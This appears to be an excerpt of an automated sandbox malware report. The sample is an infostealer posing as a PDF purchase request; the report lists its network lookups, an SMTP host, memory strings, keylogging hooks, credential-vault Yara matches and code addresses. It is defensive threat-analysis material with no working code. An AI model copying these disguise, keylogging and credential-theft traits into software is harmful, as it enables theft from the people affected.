Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: smtp.yandex.ru

Source: RegSvcs.exe, 0000000F.00000002.3883053125.0000000005FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.gl
Source: RegSvcs.exe, 0000000F.00000002.3882449915.0000000005F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.glR
Source: RegSvcs.exe, 0000000F.00000002.3892607664.00000000094AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign
Source: RegSvcs.exe, 0000000F.00000002.3882253046.0000000005EF0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.000000000301F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002C4E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002CC6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.000000000950D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882449915.0000000005F1D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002F7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882308121.0000000005EFA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002DFD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3872420125.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.00000000094FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3893617440.0000000009558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsrsaovsslca2018.crl0j
Source: RegSvcs.exe, 0000000F.00000002.3874134304.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.000000000301F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002CC6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.000000000950D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3873154198.0000000000F8F000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882826861.0000000005F80000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3872420125.0000000000ED0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882449915.0000000005F1D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.0000000009531000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892760446.00000000094C5000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002F7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882308121.0000000005EFA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002DFD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892335862.0000000009474000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.00000000094FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: RegSvcs.exe, 0000000F.00000002.3883053125.0000000005FA5000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882253046.0000000005EF0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892240809.0000000009468000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.000000000301F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002CC6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.000000000950D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892760446.00000000094C5000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002F7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882308121.0000000005EFA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002DFD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892760446.00000000094F0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3893617440.0000000009558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: RegSvcs.exe, 0000000F.00000002.3882253046.0000000005EF0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892607664.00000000094AA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.000000000301F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002C4E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002CC6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.000000000950D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882449915.0000000005F1D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002F7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882308121.0000000005EFA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002DFD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3872420125.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.00000000094FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3893617440.0000000009558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsrsaovsslca20180V
Source: RegSvcs.exe, 0000000F.00000002.3883053125.0000000005FA5000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882253046.0000000005EF0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892240809.0000000009468000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.000000000301F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002CC6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.000000000950D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892760446.00000000094C5000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002F7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882308121.0000000005EFA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002DFD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892760446.00000000094F0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3893617440.0000000009558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: RegSvcs.exe, 0000000F.00000002.3874134304.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.000000000301F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002CC6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.000000000950D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3873154198.0000000000F8F000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882826861.0000000005F80000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3872420125.0000000000ED0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882449915.0000000005F1D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.0000000009531000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892760446.00000000094C5000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002F7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882308121.0000000005EFA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002DFD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892335862.0000000009474000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.00000000094FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1426563917.00000000036DE000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.1483006470.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, vmPeKTe.exe, 0000000B.00000002.1486889993.000000000296E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 0000000F.00000002.3882253046.0000000005EF0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892607664.00000000094AA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.000000000301F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002C4E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002CC6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.000000000950D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882449915.0000000005F1D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002F7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882308121.0000000005EFA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002DFD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3872420125.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.00000000094FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3893617440.0000000009558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsrsaovsslca2018.crt07
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, vmPeKTe.exe.0.dr	String found in binary or memory: http://www.elderscrolls.com/skyrim/character
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, vmPeKTe.exe.0.dr	String found in binary or memory: http://www.elderscrolls.com/skyrim/characterT
Source: vmPeKTe.exe, 0000000B.00000002.1486889993.00000000025DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.elderscrolls.com/skyrim/player
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.1481076677.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.1481076677.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.1483006470.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 0000000A.00000002.1483006470.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: RegSvcs.exe, 0000000A.00000002.1483006470.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: RegSvcs.exe, 0000000F.00000002.3882449915.0000000005F1D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.0000000009531000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892760446.00000000094C5000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002F7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882308121.0000000005EFA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002DFD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892335862.0000000009474000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3874134304.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3872420125.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892991576.00000000094FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3892760446.00000000094F0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3893617440.0000000009558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.8:49713 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, 7KG.cs

.Net Code: _4uWlHy9

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03132671	0_2_03132671
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03130871	0_2_03130871
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_031313B0	0_2_031313B0
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03133590	0_2_03133590
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03139DD8	0_2_03139DD8
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03139C3C	0_2_03139C3C
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03131C5A	0_2_03131C5A
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_0313A3E8	0_2_0313A3E8
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_031320C9	0_2_031320C9
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03134490	0_2_03134490
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03134480	0_2_03134480
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03135308	0_2_03135308
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_0313132B	0_2_0313132B
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03135018	0_2_03135018
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03135008	0_2_03135008
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_0313569A	0_2_0313569A
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03131698	0_2_03131698
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_031356A8	0_2_031356A8
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03133543	0_2_03133543
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03135B38	0_2_03135B38
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03135B29	0_2_03135B29
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_031358D0	0_2_031358D0
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_031358E0	0_2_031358E0
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03139DC9	0_2_03139DC9
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_09E8183A	0_2_09E8183A
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_09E899C0	0_2_09E899C0
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_09E8BA70	0_2_09E8BA70
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_09E89DF8	0_2_09E89DF8
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_09E8A230	0_2_09E8A230
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_09E8B638	0_2_09E8B638
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_0A796784	0_2_0A796784
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_0A797D54	0_2_0A797D54
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_0A79D1B0	0_2_0A79D1B0
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_0A79D1A0	0_2_0A79D1A0
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_0A79677C	0_2_0A79677C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00F9E480	10_2_00F9E480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00F94AB8	10_2_00F94AB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00F9AA50	10_2_00F9AA50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00F93EA0	10_2_00F93EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00F941E8	10_2_00F941E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_06545670	10_2_06545670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_065466C0	10_2_065466C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0654C238	10_2_0654C238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0654B2E8	10_2_0654B2E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_06543138	10_2_06543138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_06547E48	10_2_06547E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_06547768	10_2_06547768
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0654E460	10_2_0654E460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_06542429	10_2_06542429
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_06540040	10_2_06540040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_06545DAB	10_2_06545DAB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_06540006	10_2_06540006
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC2671	11_2_00BC2671
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC0871	11_2_00BC0871
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC13B0	11_2_00BC13B0
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC3590	11_2_00BC3590
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC9C3C	11_2_00BC9C3C
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC1C5A	11_2_00BC1C5A
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC9DD8	11_2_00BC9DD8
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC20C9	11_2_00BC20C9
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BCA3E8	11_2_00BCA3E8
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC4490	11_2_00BC4490
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC4480	11_2_00BC4480
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC8ECD	11_2_00BC8ECD
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC5018	11_2_00BC5018
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC5008	11_2_00BC5008
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC1321	11_2_00BC1321
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC5308	11_2_00BC5308
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC3498	11_2_00BC3498
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC56A8	11_2_00BC56A8
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC1698	11_2_00BC1698
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC569A	11_2_00BC569A
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC58E0	11_2_00BC58E0
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC58D0	11_2_00BC58D0
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC5B38	11_2_00BC5B38
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC5B29	11_2_00BC5B29
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC9DC9	11_2_00BC9DC9
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_07B866B4	11_2_07B866B4
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_07B866AD	11_2_07B866AD
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_07B8D190	11_2_07B8D190
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_07B8D180	11_2_07B8D180
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_07B87D32	11_2_07B87D32
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_08F51818	11_2_08F51818
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_08F52FB8	11_2_08F52FB8
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_08F599B8	11_2_08F599B8
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_08F5BA68	11_2_08F5BA68
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_08F59DF0	11_2_08F59DF0
